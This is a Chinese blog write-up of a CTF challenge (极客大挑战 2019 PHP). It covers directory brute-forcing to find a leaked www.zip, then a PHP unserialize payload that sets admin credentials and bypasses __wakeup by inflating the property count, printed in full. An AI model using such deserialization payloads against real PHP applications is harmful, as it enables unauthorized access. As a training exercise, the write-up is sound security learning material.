[极客大挑战 2019]PHP 1
[极客大挑战 2019]PHP 1
打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息
采用dirsearch爆破目录,找到www.zip文件
解压zip,发现是源码泄露
提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize()
,判断为反序列化漏洞;
查看class.php可知,只要username=admin并且password=100,就能输出flag
于是构造反序列化payload
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
执行php方法序列化成字符串,Name前后需要添加%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
作为select
参数值,未能显示出flag
这是因为成员属性数目大于实际数目2时才可绕过wakeup
魔术方法,修改2为任意大于二的数字
O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
成功拿到flag
flag{2629c697-31da-4735-8e1f-978a34067a82}
tips.
unserialize();
方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话);
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18535690
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具